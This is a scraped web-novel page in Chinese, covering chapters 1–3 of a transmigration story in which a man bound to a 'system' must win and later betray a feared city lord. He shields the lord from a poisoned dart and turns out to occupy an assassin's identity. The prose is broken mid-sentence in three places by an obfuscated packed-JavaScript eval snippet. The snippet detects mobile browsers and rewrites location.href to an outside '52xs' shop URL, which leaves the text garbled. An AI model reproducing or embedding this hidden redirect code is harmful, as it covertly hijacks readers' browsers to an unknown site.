《被迫成为渣攻后》 1. 城主1 顾宴之缓缓睁开眼。 面前是一片陌生的场景,宁静雅致的园林景致,面前的假山错落有致,黄昏时刻,夕阳西斜,天边染上一抹昏黄。 ……这是什么地方? 顾宴之只记得一辆大货车失控朝他驶来,下一秒就失去了意识。再睁开眼,就来到了这个地方。 边上有一条潺潺溪流,顾宴之走了过去,低头看向水面中的自己,样貌依然是自己的样貌,熟悉的眉眼五官,可及腰的墨发以及一袭月白色长袍却异常陌生。 ……发生了什么? 此处四周无人,天色又马上要黑下来,顾宴之只能先顺着溪流的方向走,看是否能寻到人烟。 却一路越走越偏僻,小路逐渐宽敞,四周的树丛花木也渐渐稀疏,不知来到了什么地方。 顾宴之茫然。 忽然,灌木丛后传出一阵窸窣声。 顾宴之以为那处有人,循着声音看了过去,却蓦然睁大了眼睛,下意识往后退了几步。 那灌木丛中竟缓步走出一只黑狼,毛发漆黑,几乎要隐于夜色之中,一双眼睛却绿得发光,喉间发出低低的嘶吼声。 狼是领地意识极强的动物。顾宴之心知八成是因为自己不小心闯入了它的领地,敛住作响的心跳声,不敢轻举妄动。 那只黑狼弓起身子,缓步朝他走来,隐隐有攻击之势。 顾宴之心想完蛋了,还不知道来到了什么地方,就要先葬身狼口,还不如被车撞死。 黑狼凶狠的视线紧盯着顾宴之不放,仿佛随时都要纵身扑上去。 顾宴之颤颤巍巍捡起一根树枝,准备死也要挣扎一下,不能就这么不明不白地被狼吃掉。 黑狼善于观察,似乎是察觉到顾宴之眼里的戒心,步伐放缓了些许,绕着顾宴之逡巡几圈,在寻找一个合适的机会。 顾宴之心里演练了无数跟狼搏斗的技巧,但当黑狼真的朝他扑来的时候,他下意识的反应仍然是扔了棍子就跑。 就在黑狼要碰到顾宴之的刹那,身后传来一声冷冰冰的命令,“七银,回来。” 黑狼听见这道指令后瞬间老实温顺下来,转头走向了声音的主人。 危机解除,顾宴之松了口气,抬眸朝声音来源处看了过去,半黑的夜色中,那人一袭玄色华贵长袍曳地,衬得身姿修长卓越,气质冷淡出尘。距离太远,看不清对方脸上的神情。 那只刚才恶狠狠的凶兽此刻乖顺地匍匐在那人腿边,全然没有刚才的凶狠。 玄衣男子声音冷淡疏离,“这不是你该来的地方。” 顾宴之看见活人,又是救他险些命丧狼口之人,于是选择性忽略了对方冰冷的语气,自来熟问道:“你知道这是哪儿吗?” 玄衣男子微不可察地皱了皱眉。 顾宴之见对方不说话,便以为他也不知道,下一个问题更是惊世骇俗,“那你知道我是谁吗?” 见这个问题对方也不回答,顾宴之只能退而求其次,“或者你知道哪里人多吗?” 玄衣男子似是耐不住打搅,淡淡启唇道:“南边。” 虽然只有两个字,对于顾宴之来说也够用了,他道了声谢,转身离开了黑狼的地盘。 ——快走快走赶快走,免得又来狼。 朝南边一路走去。 顾宴之忽然大脑一痛,仿佛针扎式的触感,一批不属于自己的信息涌入了大脑里。 【宿主绑定中……】 【背景信息传输中……】 凭空出现了一阵电子机械音,随后面前出现了一个发光的白色圆球,在一片古朴造景中格格不入。 【亲爱的宿主您好。】白色光球口吐人言,【欢迎绑定位面之子修炼系统1号,我是您的系统199。】 顾宴之:“……什么东西?” 【位面之子修炼系统。】 顾宴之恍恍惚惚,“……” 经过系统的一顿解释,顾宴之终于相信了这颗会说话的球。 系统说,每本小说的主角,需要历经七情六欲之苦来磨炼心性。但一些世界出了差错,主角缺少情根无情无欲。 而宿主所需要做的,就是去渣了主角,让主角体会到爱与恨,从而把剧情拨回正轨。 而顾宴之因车祸意外死亡,系统保证他只要完成维护剧情的任务,就可以让他重新回到现实世界。 顾宴之想活着,所以这对他来说不是一个选择题,而是必选题。 这个世界的主角是北澜城城主郁辞白,北澜城这些年势力逐渐扩大,已然成为了边境城中的显赫,而顾宴之的身份是今天受邀来拜访的南灵城使者。 这次前来的有各个边境小城,南灵城是其中之一。表面是拜访,实则是讨好献宝。 “那这具身体怎么和之前的我长得一样?” 系统解释道:【这具身体只是以你的样貌捏造出来的,不属于原世界的任何一人。但经过我们的运作,已经把你的身份合理化。你现在只是一个来自南灵城的普通使者。】 顾宴之似懂非懂。 脑中有了背景信息后,顾宴之知道自己现在该去哪儿了。 此刻已是半黑。 城主府很大,从顾宴之所在之处走到设宴的地方用了小半个时辰,等到地方的时候,天色已经漆黑。府里支起了许多明亮精巧的灯笼,奢侈繁华。 此次前来的有数十个小城,光是人数就不少,设宴地在一处庭院,中心主座为北澜城城主尊位,其余小城分散坐在下面。城主还未到来,底下亦无人喧哗。 顾宴之入座之后,同行的南灵城使者靠了过来,悄声道:“听说这位北澜城城主狠毒多疑,这一道前来已经听到不少这样的风声了,我们这次想来交好实属不易啊。” 顾宴之还不在状态,什么也没说。 在系统给的背景信息里,传闻北澜城城主郁辞白凶名远扬能治小儿夜啼,几乎是恶名昭彰的程度,甚至连上古凶兽都不及郁辞白的一半狠戾。 城主还未到场,在场的所有使者全都翘首以盼,在心中默默期待这次交好的成功。 毕竟北澜城是周围城池中唯一的大城,眼下势力动荡,小城只有依附在大城身边,才有活得更久的希望。 直到天色彻底黑了下来,案上菜肴如流水般端上又撤去,歌姬换了一轮又一轮,作为宴席来说,今夜确实足够奢靡,可席上众人却不是来吃饭的。主人迟迟不露面,让这些巧舌如簧的使者也无处施展,加之进府前的搜查令许多人心怀不满,虽然无人敢造次,可人心依然浮动起来。 这一切都与顾宴之无关,因为他真的在吃饭。 直到系统提醒道:【别吃了,城主要来了。】 顾宴之循声朝上座望去,顿时睁大了双眼。 那北澜城城主,竟是他刚才在狼区见到的玄衣男子! 刚才天色灰暗看不清对方的容颜,此刻在灯烛的暖色光晕下,对方面部轮廓清晰分明,三千墨发挽在身后,面若美玉,眼如点漆。 【滴!已监察到任务对象,请宿主注意!】 这就是他要渣的任务对象吗? 系统陡然发出声音,顾宴之一惊,不小心碰翻了桌上的酒杯。动静很轻不足为奇,但最上面的城主却往这边瞥了一眼。 那双眼眸中仿佛不带任何情绪,一眼望去深不见底,眉眼俯视间,透着股淡漠和平静。 只是转瞬间,这道视线便已经移开,仿佛只是顾宴之的错觉。 随着郁辞白落座,场面焕然一新,舞者歌姬鱼贯而入,小厮撤走原来的食案,又换上新的佳肴美酒。 各城使者顺势夸赞郁辞白个个都是巧舌如簧,舌灿莲花。新上的菜肴还未动几口便纷纷赞不绝口。 那种微妙的躁动感在城主出席后消失了一阵又重新出现,在各城使者提议进献珍宝之后更是达到了一个新高度。 歌姬们缓步退下,这次前来的各个小城开始进献珍宝,可谓是倾尽所能。 各种贵重稀奇的珍宝珠玉被展示出来,几乎看花了人眼,但座上的人却眼睛都没眨一下。 送礼不在稀世,在于投其所好。但一连几个小城的进献下来,都没让城主大人说一句话。 直到轮到南灵城。 南灵城使者献出了一个神秘的黑盒子,“此乃幽蓝海人鱼珠,可作夜明珠,且冬生热夏自凉,极其难得,请城主笑纳。” 此话一出,在场纷纷侧目,唏嘘声一片,其他小城所献宝物不乏稀世奇珍,可人鱼珠是真正只在传说中出现过的东西,“真的有人鱼珠这种东西?难道不只是传说?” 城主大人闻言眼皮掀了一掀,似是终于有了点兴趣,抬手招了招,示意使者把东西拿过来。 顾宴之就在底下看着,正当此时,系统突然发出了警告—— 【警告!警告!任务对象即将有生命危险!请宿主及时行动!若任务对象死亡,则任务直接失败。】 怎么会有生命危险—— 顾宴之的目光落到使者手里的黑匣子上,微微皱了皱眉。 南灵城使者手持黑匣,一步一步慢慢走上台阶,右手托着匣子的底部,食指微动。 成败只在此一举—— 只要除去郁辞白,就能还边境各城一个光明。 没有人看到暗器是怎么从黑匣中弹出的,速度之快难以捕捉,直击首座要害! 正当南灵城使者心跳如鼓以为成事在握时,不知从哪蹿出来一个人影,直直挡在了暗器飞行的路径前。 南灵城使者面色灰沉—— 来不及了。 顾宴之手无缚鸡之力,要阻止一枚已经射出的暗器实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320333|152433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 属困难,只能以身挡之。 没办法,城主万一出事,任务也就失败,他也得死。与其坐等任务失败,不如以身搏之,还能争取一线生机。 肩膀处瞬间传来猛烈的痛感,顾宴之忍不住向后踉跄两步,即将站不住的时候,忽然落入一个没有温度的怀抱。 怀抱冰凉,带着冷涩的浅淡香味。 顾宴之下意识回头,瞥见郁辞白神色莫辨的半张侧脸。还没等他反应过来,就被一股力气扔到了属于首座的椅子上。 伤口剧痛让顾宴之大脑发晕,只能看到面前郁辞白模糊的颀长身影,周围喧闹,但他却什么也听不清。 顾宴之用仅存的力气在脑海里和系统对话,【系统,我怎么了?】 系统:【一个好消息一个坏消息,宿主您想先听哪一个?】 【……】顾宴之无话可说,【都这个时候了,先听哪个重要吗?】 系统悄摸摸在“人类语言奥秘手册”上划掉了一句话,【好吧,坏消息是暗器上淬了毒。】 【好消息是,您没有伤及要害。】 原来是有毒,怪不得顾宴之现在头晕眼花四肢无力,仿佛下一秒就要猝过去。 顾宴之问:【我会死吗?】 【不会,但您大约在半炷香后会丧失行动能力。】 人生地不熟的情况下丧失行动能力,难道指望面前这个恶名远扬的城主来救他吗?那顾宴之还不如提早挖坑把自己埋了。 眼下能帮他的只有系统,顾宴之只能和系统讨价还价。 【我死了,任务就失败了吧。】 这句话说到系统的心坎里去了,寻找一个合适的宿主已经是难题,和宿主绑定契约已经用了它大半的能量,短时间内它没有其他选择。 【宿主可以用积分延缓毒发时间。但鉴于宿主现在没有积分,提前预支积分需要双倍归还。宿主是否预支?】 双倍—— 顾宴之咬咬牙,“预支。” 话音刚落,顾宴之就感觉到周身一轻,伤口的疼痛感陡然消失,恢复了之前的状态。 【已为宿主兑换三个时辰的毒发延缓时间,消耗10积分。】 也就是说,顾宴之必须在三个时辰内找到解毒的方法。 视线清明后,顾宴之抬眼看了过去,底下的南灵城使者已经被守卫制服。使者团中混入了刺客,府兵武力镇压,许多使臣尚未反应过来已被刀剑架住了脖子。 使者团中混入了此刻,席上一片骚动。 郁辞白启唇,“搜身。” 随即席上涌入一批守卫,包围住了席上的每一个人。 有人义愤填膺,“我们乃是亲派使者,就算你北澜城声势大,也不能直接搜身,岂非辱我城邦!” 有人两股战战仍梗着脖子开口:“士可杀不可辱!我…” 不等他说完,黑衣暗卫只将刀锋压向他的颈部,他便如一只被扼住脖子的鸡,声音戛然而止。 这下没人敢有异议。 不多时,场上各人都被仔细搜了一遍身。 守卫首领前来禀告,“报告城主,在场众人身上均未发现利器。” 郁辞白神情不明,还未开口。· 就在此时,守卫首领的视线对上了郁辞白身后的顾宴之。 这个人还未搜身,但对方现在坐在中心主座上,守卫首领不敢贸然上前,只能道:“城主,您身后还有一位——” 顾宴之本来无所畏惧,但系统此时突然提醒,【宿主,您身上有匕首。】 顾宴之:【……我身上为什么会有匕首?】 系统闪了闪红光,【不知道,但匕首绝对不能被搜到。】 顾宴之问道,【能把我身上的匕首变没吗?预支积分也行。】 系统的声音在此刻听起来无比冰冷:【抱歉宿主,没有此项功能。】 顾宴之不知道从他身上搜出匕首会怎样,但总归不会是什么好结果。 郁辞白听见守卫首领的话,这才微微转身朝郁辞白看了过去,身形掩在半明半暗的阴影中,看不清眼底的情绪。 即便因为系统的效用,伤口已经不疼。顾宴之依然单手捂着肩膀的伤口站了起来,起身时像是因为疼痛而踉跄了半步。 “城主。”顾宴之低声开口,声音蒙上一层沙哑的虚弱,“幸而,您无事就好。” 郁辞白的记忆不差,更何况离上一面见过这人不过一个时辰,前前后后对方为何说话突然判若两人。 “你认识本城主了?”郁辞白轻嗤一声。 “方才天色昏暗,宴之未能识得城主。”顾宴之声音温润,略有些歉意,“眼下才反应过来方才是城主搭救。” 他走上前一步,轻轻拉住了城主的衣袖,“宴之仰慕城主已久,能有机会见到城主,幸甚至极。” 2. 城主2 顾宴之说起谎话来不打草稿,完全看不出来半点虚情假意。 他分明在此之前从未见过郁辞白,却敢口口声声说仰慕。 “你连自己是谁都不知道,还敢说仰慕本城主?” 回忆刚才顾宴之石破天惊三连问—— “你知道这是哪儿吗?” “那你知道我是谁吗?” “或者你知道哪里人多吗?” 正常人都不会问出的三个问题,都被顾宴之一个人问出来了。 顾宴之硬着头皮道:“是吗?宴之在来途时偶遇山崩,因故头部受了伤,因而很多东西记不清了。” “但宴之心中对城主仰慕之情重于泰山,怎么样都不会忘却。” “……”郁辞白微微眯了眯眼,世上几乎皆是恨他怕他之人,还从未有过人说过仰慕于他。 “宴之愿搜身以自证清白。”顾宴之缓缓上前两步,唇边含着一抹细碎的笑意,直视着对方的双眼,道:“但宴之身受重伤,守卫下手不知轻重,便斗胆请求让城主亲自来搜。” 顾宴之面上不显,心中却砰砰作响。 他在赌。 赌这位高高在上的城主不会屈尊搜他的身。 郁辞白略微抬起眼眸,无声打量着眼前的人。 顾宴之演技可圈可点,话说得真诚,表情更加纯粹,如玉的容颜带着些许苍白,一双漂亮的桃花眼挂上一抹绯红,说话时轻缓低哑,“城主……” “只要宴之能帮到城主,已是在所不辞。能替城主一死——”顾宴之压抑地咳了两声,仿佛在压住极大的疼痛,“也是宴之的福气。” 死是个尖锐的字眼。 郁辞白的目光这才移到了顾宴之的肩膀上,渗出的血已经染红了月白色的衣襟,伤口在淡色的衣服上格外明显。 “叫医官。”郁辞白终于想起场上还有一个伤者,这才开了口,声线淡淡。 顾宴之微微低了低头,“谢谢城主。” 府里的医官们来得很快。 传话的守卫只说有刺客刺杀城主,府上医官们以为是城主遇刺,当值的医官们全都麻溜冲了过来。 来了之后才发现受伤的不是城主大人。 一位医官走上前给顾宴之看伤势,又把了把脉,“外伤未伤及要害,开几剂方子外敷便可痊愈,只是——” 顾宴之心中已经有数,但依然温声询问:“只是如何?” “伤口发乌,经脉错乱,是中毒之征啊。”医官捋了捋胡子,声音里透出几分难处,“只是老夫一时也分不出来这是何种毒药。” “刘兄,你精通奇毒,你来看看。” 于是换了位医官来诊脉,片刻后摇了摇头,“老夫行医多年,还未曾见过此等毒术。此毒本应让人经脉错乱而死,但观这位公子的状态,虽经脉错乱,但却根基稳固,似是中毒,又不似中毒之兆。” 顾宴之一顿。 这或许就是系统的功劳,扼制了毒素的蔓延,却又没有完全治愈,便形成了这一诊断结果。 几位医官商讨片刻,“城主大人,这位公子的伤势需要我等先观察几天,想要治好非一日之功。” 郁辞白的表情从始至终没有半点波动,仿佛顾宴之是生是死都无关紧要,听见医官的诊断后,他面无表情地理了理袖子,“西偏院。” 话毕,郁辞白转身朝向下位,“各位在调查结果未出来前,也请先在城主府小住。” 用的是请,语气冷漠却似强制拘留。 在场众人敢怒不敢言,诺诺称是。 最后,郁辞白的目光落在底下被擒住的南灵城使者,依然是简要的几个字,“拖入地牢,审。” 守卫抱拳:“是,城主。” 顾宴之就这么被带到了西偏院的一间卧房里休养。 【恭喜宿主完成任务一,成功留在城主府,获得5积分。】 留下的大夫仔细诊脉后,再三斟酌开了方子。 城主府的大夫技术了得,虽然不能立即解毒,但施以药方缓解毒性还是没问题的。 这样顾宴之就不用担心三个时辰后毒发身亡了. 系统没想到这个宿主有两把刷子,不仅保住了性命,也轻而易举地躲过了搜身。 今天在场的各城使者全被带到了西偏院,打着小住的名义,实际却是强制软禁。西偏院守卫森严,进出都需要向城主报备。 西偏院没有郁辞白,顾宴之躺在卧榻上,听见院子里众人义愤填膺,话里话外不离郁辞白今日的狠戾作风—— “我们是抱着交好的目的前来,虽说北澜城势大,但也不可仗势欺人,不敬使者!” “今日我们无缘无故被软禁在此,我城城主定会收到消息,来讨个说法!” “身也让他搜了,嫌疑尽消,他凭什么不放我们走!” 他们都是第一次见郁辞白,之前只听说过对方的恶名,传闻他生杀予夺草芥人命,今日一见果然名不虚传。虽说他们现在没有生命危险,但保不齐郁辞白一怒之下,把他们全都一斩而尽。 “今日刺杀之人似乎是南灵城使者,都怪他,拖累我们留在这里!” “南灵城预刺杀城主大人,不知有何居心?!” 骂不得郁辞白,众人便将话头瞄准了南灵城。 在场有南灵城其他使者,脸色憋得通红,“不要凭空污蔑,这么说,那挡暗器之人也是我们南灵城使者!功过相抵,我们何罪之有?” ——挡暗器之人也是南灵城使者? 在场众人沉默一瞬,忽然有些搞不懂南灵城想做什么了。 * 与此同时。 城主府书房,守卫森严。 一弯蛾眉月高高挂在天际,皎白的月光洒落星空,夜色幽深。 郁辞白也到了暗卫呈上来的消息。 “城主,今日行刺之人来自南灵城,暗器藏在进献的宝物中,因此守卫搜查失误……已经让今日搜查的守卫去领罚了。” 灯烛映照出案边郁辞白晦暗不明的眸色,“今日挡暗器是何人?” 不说这暗器他是否能躲过,单说一众武力高深莫测的暗卫都没一人反应过来,却偏偏让一个小国使者抢了先。 暗卫回答:“同是南灵城使者。” 有趣。 这刺杀之人和挡刀之人竟来自同一城。 不知是内部出了嫌隙,还是—— 暗卫也想到了这一点,“莫非这是南灵城故意策划人来刺杀,又让人来保护城主,以来谋取城主的信任。” 这也说明了为什么挡暗器之人能精准预判有暗器,要么是武力高强至极,要么是早就心知肚明。 郁辞白唇角扯出一抹微小的弧度:“那人何名?” 暗卫答:“顾宴之。” “顾宴之。”郁辞缓缓咀嚼这三个字,随后意味不明地吐出一个字:“赏。” 暗卫惊讶,摸不透城主的心思,低头:“是,城主。” * 次日清早。 顾宴之是被外面的喧闹声吵醒的。 伤口失去了系统的作用后,即便敷了药,也掩盖不住疼痛,顾宴之晚上睡得并不安宁,一大早还被吵醒。 两秒后,顾宴之蒙起被子继续睡。 没等他睡个安稳,门口就传来叩门声。 “顾公子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320334|152433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,城主有赏——” 窗外阳光照了进来,顾宴之闭着眸子不为所动,长发如墨洒在枕边,呼吸安然。 系统化为一颗白色圆球的实型,用力撞了撞宿主。 系统的力气不小,顾宴之差点被推搡掉下床。 他稳住身形掀开被子,“什么事?” 系统催促:【城主有赏,宿主你快起床。】 顾宴之愣了下,思绪逐渐回神,反应过来了现状。 他扯过一旁的外袍披在身上,动作间不小心牵动了肩上的伤口,疼得动作都迟缓了几拍。 这伤口……未免太耽误事。 片刻后,顾宴之整理好仪容打开了卧房大门,院子里光线强烈,他不由得眯了眯眼,径直被门外的阵仗吓到。 两排黑衣守卫气势冰冷,均手端木盘,盘上放着各种耀眼夺目的金银珠宝、珍宝奇贵,几乎让人闪花了眼,旁边还有一众看热闹的使者观众。 “顾公子。”守卫首领开口道:“您昨日救城主有功,这些都是城主吩咐赏给您的。” 顾宴之不喜身外之物,他只想快点完成任务获得活着的机会,因而时刻谨记他的任务。 “请帮忙转告,宴之多谢城主。”顾宴之只是轻扫过木盘,毫不在意地收回了视线,只是抿了抿唇,“只是再多金银财宝,都不及城主前来看望宴之一眼。” 足足把昨日说仰慕城主的行为延续下来。 收下了这些赏赐后,黑衣守卫们离开,顾宴之也关上了门,隔绝了门外探究的视线和话语。 顾宴之对这些赏赐不感兴趣,但系统不一样。 系统从来没见过这等耀眼的东西,化成的圆球原型粘在一枚金元宝上,久久不肯离开。 系统眼巴巴开口,【宿主,能送给我一个吗?】 顾宴之不在意地摆了摆手,“都给你。” 系统白球发起了亮光,比最亮眼的金子还夺目,开始挨个贴贴金元宝。 顾宴之慢慢走到窗边,隐隐约约能听见院子里众人的议论声,微微皱了皱眉。 留在城主府的任务暂时完成了,只要他的伤势未完全治愈,想必郁辞白也不会赶他走。 至于任务二,取得郁辞白的信任,这个任务可以说是难上加难。 不管是传言还是系统给的背景介绍,郁辞白都不是个好对付的人,而能稳坐城主高位,必不是良善之辈,对于心思深沉之人,想要取得信任不是什么容易的事情。 * 守卫首领送完赏赐后回来复命。 郁辞白在书房作画,悬锋飘落,墨气浓淡自然,半晌未曾开口,直到最后一笔落下,放下了朱笔,才淡声开口:“他可有说什么?” 守卫首领简明扼要:“顾公子说想见城主大人。” 郁辞白略微一顿,幸好手中未握朱笔,否则要毁了案上的画作。 旁人畏他惧他,这人倒是特别,不仅不躲着,还上赶着想见他。 他倒要看看,见一面是要作甚。 刚到入夜时分。 郁辞白走进西偏院的大门,院内空无一人,脚步未停,径直走向正中间的一间。 卧房的门虚掩着,郁辞白推了开来,屋内灯烛明亮,映照出屏风后朦胧的人影。 顾宴之坐在床榻边,褪去了肩膀的衣衫,墨发洒落白皙的肩头,一手拿着外敷的药膏,咬着衣襟忍痛给自己换药。 忽然听见门口传来响动,顾宴之以为是来送晚饭的小厮,低哑声道:“放外面就行。” 脚步声由远及近。 顾宴之不愉地偏了偏头,瞥见一袭玄色长袍,视线慢慢上移,对上了一双狭长幽深的眸子。 3. 城主3 城主?! 顾宴之先是一愣,然后很快反应过来,拢起衣领站起身来,眸中露出难掩的错愕,“城主,您怎么来了?” 郁辞白一袭黑色长袍,衬得五官深邃,气质冷冽,没有多少感情地开口,直入正题,“你要见本城主?何事?” 顾宴之自然记得自己白天说过想见城主的话,但却没想到郁辞白真的会来,还挑了个晚上。 他说想见郁辞白只是为了加深他仰慕城主的设定,还真没有做好打算立刻见到城主的打算。 大脑飞速转动,顾宴之慢慢拢了拢衣服,唇边露出一抹淡雅的笑意,温声道:“宴之仰慕城主,能瞧见城主一面已然是幸事。诸多赏赐,都比不上城主能亲自看一眼宴之。” 郁辞白似是从来没见过顾宴之这样的人,也没听过这样的话,有一瞬间的停顿,“你不怕本城主?” 这世上的人分为两种,一种是不识郁辞白的,一种是畏惧他之人。 顾宴之对郁辞白的了解都来自于系统和传言,都快把郁辞白描写成穷凶极恶的野兽了,要问顾宴之怕不怕,当然是有所畏惧。 可是不入虎穴焉得虎子,他要取得郁辞白的信任,就不能和常人一样。 “城主功业千秋。”顾宴之抬眸看先郁辞白,眼中藏着星星点点的笑,“宴之佩服都来不及,怎么会怕?” 系统总是强调这位郁城主的恶名,但却也透露过它的功名。 自郁辞白上位以来,能以一己之力把北澜城发展成边境各城里的最大城邦,名扬各城,怎么不算是一种能力? 话音刚落,郁辞白毫无预兆地抬手扼住顾宴之的脖颈,力度缓缓收紧,声音低凉,“若是说本城主想杀你呢。” 喜怒无常,真是形容郁辞白最好的词。 顾宴之心中已经开骂了,他只是想完成任务活下去,怎么会师出未捷身先死,他想攻略对方,对方居然想要他的命。 顾宴之没躲,面上亦未露惊惧之色,反而伸出手覆上郁辞白的手背,对方手温冰凉,亦如他的心,低声道:“能死在城主手上,是宴之的荣幸。” 他不躲,不是因为不怕死,而是自知没法躲开。他手无半点武力,若是郁辞白存了想杀他的心,可以说没有生还的机会。 力度一点点收紧,呼吸慢慢被剥夺,带着令人窒息的绝望。 系统已经在旁边着急得要命,白色光团不停地撞击郁辞白的手,希望他松松手。 不要宿主死鸭,不要宿主死鸭。 但却徒劳无功,它作为虚幻的形体,只能被宿主看到,更没法改变现实。 顾宴之始终未求饶,唇边仍带着弧度,仰头直视着郁辞白,浅淡的眸色平静无声,不见半点恐惧。 时间一秒一秒过去,肺腑的空间慢慢消耗殆尽,连眼前景象都变得模糊。郁辞白却陡然收回了手,甩了甩袖子,放了眼前人一命。 他或许一开始就没有想取对方性命,只是想试探对方是否在撒谎。 郁辞白平生最恨欺骗。 顾宴之脱离了濒死的环境,再次呼吸到新鲜空气,身形不稳,趴在床榻边猛地剧烈咳嗽了几声。 他又一次赌赢了。 他是南灵城使者,还有救城主之功,郁辞白没道理杀他。况且对方要是真想杀他,大可以叫人来赐死即可,怎么会大费周章亲自前来。 顾宴之因为刚才的缺氧而眼角通红,缓过呼吸来后,第一件事就是开口说道:“谢城主不杀之恩……” 郁辞白低眸看着眼前的男子,心中似乎又什么地方被触动,微微眯了眯眼,“你挡暗器有功,金银你不喜欢,还想要什么赏赐?” 顾宴之心说对方的性格也太阴晴不定了,前一秒毫不犹豫地想杀他,后一秒就说起来赏赐的事情。 “如果可以的话……”顾宴之拿起一旁的青瓷药瓶,慢慢伸出手递了出去,“若是城主能为宴之上一次药,那便是宴之毕生的荣幸。” 郁辞白没说话,也没接过对方手里的药瓶。 他以为对方会说不求赏赐。 顾宴之手伸得都麻了,时间仿佛在这一刻保持了凝滞,刚准备收回手来,就见城主把药瓶接了过去。 顾宴之唇角微弯,“谢谢城主。” 顾宴之掀起衣摆坐在床榻上,缓缓解开衣襟,露出半边肩膀和可怖的伤口。 因为伤口有毒素的缘故,半点没有痊愈的样子。 郁辞白单手打开药瓶,面无表情地俯身,药瓶倾洒,瓶中纯白的药粉落在了伤口上。 顾宴之差点没疼得喊出来,他自己上药都得一点一点慢慢来,早知道就不为了任务让对方来了。 这还没停,郁辞白似乎看出了顾宴之的隐忍,伸手点在伤口上,抹均匀了药粉。 顾宴之这下真忍不下去了,闷哼出声,低哑着声音开口,语气里满是拒绝,“城主,我忘了我刚才上过药,不用上第二次了,劳烦您帮忙。” 郁辞白喉间溢出一丝意味不明的笑声,没故意折磨对方,收回了手,什么话都没说,转身离开了卧房。 顾宴之紧绷着的心终于放了下来。 系统也狠狠松了一口,【宿主,幸好你没事。】 “伴君如伴虎。”顾宴之拿起案上的茶杯喝了口水,“系统,要不我们换个任务吧,要取得郁辞白的信任真的太难了。” 系统晃了晃身子,表示不可以,【任务是不能变的,只有先取得郁辞白的信任然后再背叛他,这样才能让他体会到什么是爱与恨。】 【只有这样才能磨炼他的心性,这是他成为天道之子最重要的一步。】 这些话顾宴之已经听过不知道多少回了,只是默默叹了口气。 想要取得郁辞白的信任已经是难上加难,更难的是要背叛他。 想也知道背叛郁辞白的后果,不堪设想。 * 郁辞白回到书房后,底下的暗卫首领前来汇报。 说到最后一件事时,暗卫首领呈上一张很小的字条,“城主,方才在城主府上空拦截到一只信鸽,这是信鸽身上的字条。” 郁辞白:“念。” 暗卫首领打开字条,看见上面的内容后沉默了一瞬,犹豫道:“城主,这字条还是您亲自看吧。” 郁辞白皱了皱眉,接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320335|152433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了献上的字条。 “闻君遭禁于城主之府,不知安否?郁辞白无恙,然吾等之谋未遂。若君尚在城主府中,宜另觅良机,以图刺之。” 郁辞白问:“信鸽朝何处飞去?” 暗卫首领回道:“拦截到的时候,应该是正在往西偏院的方向飞去。” 西偏院,正好软禁着这批前来的使者。 “把信鸽放了,看它进了谁的屋子。”郁辞白简单道。 “是,城主。”暗卫首领继续禀告道:“以及今天数个城邦都传信来要人,请求城主您放了他们的使者。” 使者代表着两国交好,这样无缘无故关押了所有使者,其他小城都两股战战,生怕郁辞白要做什么。 “回信说,等事情水落石出,自然会释他们而去。” * 暗卫一路随信鸽而去。 信鸽飞到西偏院,最后停留在一间卧房前。 顾宴之正和系统聊关于任务的事情,忽然窗户处传来响动,像是有人敲了敲窗棂。 顾宴之一顿,走了过去打开窗户,见窗户处没人,只有一只飞在半空中的小鸟。 “呦。”顾宴之开玩笑道:“系统,它和你一个颜色。” 系统闻言飞过来查看,好奇地打量着这只小鸟,【宿主,晚上怎么会有只鸽子飞过来?】 顾宴之也不知道,正准备关上窗户的时候,系统忽然发现了什么,【宿主,这只鸽子的脚上好像绑了什么东西。】 顾宴之一看,才看见鸽子腿上绑了一个细长的黑管。 这莫非就是信鸽? 顾宴之解开信鸽脚上的黑管,从中倒出一张字条。 打开字条,上面写着隽秀的繁体小楷。 顾宴之扫了一遍,大体看懂了其间的意思——听说你现在在城主府,郁辞白没事,我们的刺杀计划失败了,你要另寻机会刺杀他。 “……”顾宴之沉默良久,“这鸽子给错人了吧。” 他他他,怎么可能也是刺客? 系统也凑过去看了看。 顾宴之突然想到什么,转头目光突然看向了系统。 当然,信鸽传递消息错误的概率小。更大的可能是,他这句身体的身份有问题。 这也就说明为什么昨天他的身上会有匕首。 “你给我的身体,到底是什么身份?”顾宴之抓住系统白球,用力晃了晃它的身子。 系统一开始说,他的这具身体是以他的样貌捏造出来的,不属于这个世界的任何一人。但经过系统的运作,已经把他的身份合理化。 身份合理化——到底给了他什么身份? 【……】系统呆若木鸡,它也不知道这一点,【我查查我查查。】 经过系统半天的查询,终于得出了结果。 系统再次开口时,声音里都多了几分心虚,【宿主您是反郁辞白派,这次费尽心思进入使者团就是为了刺杀城主。】 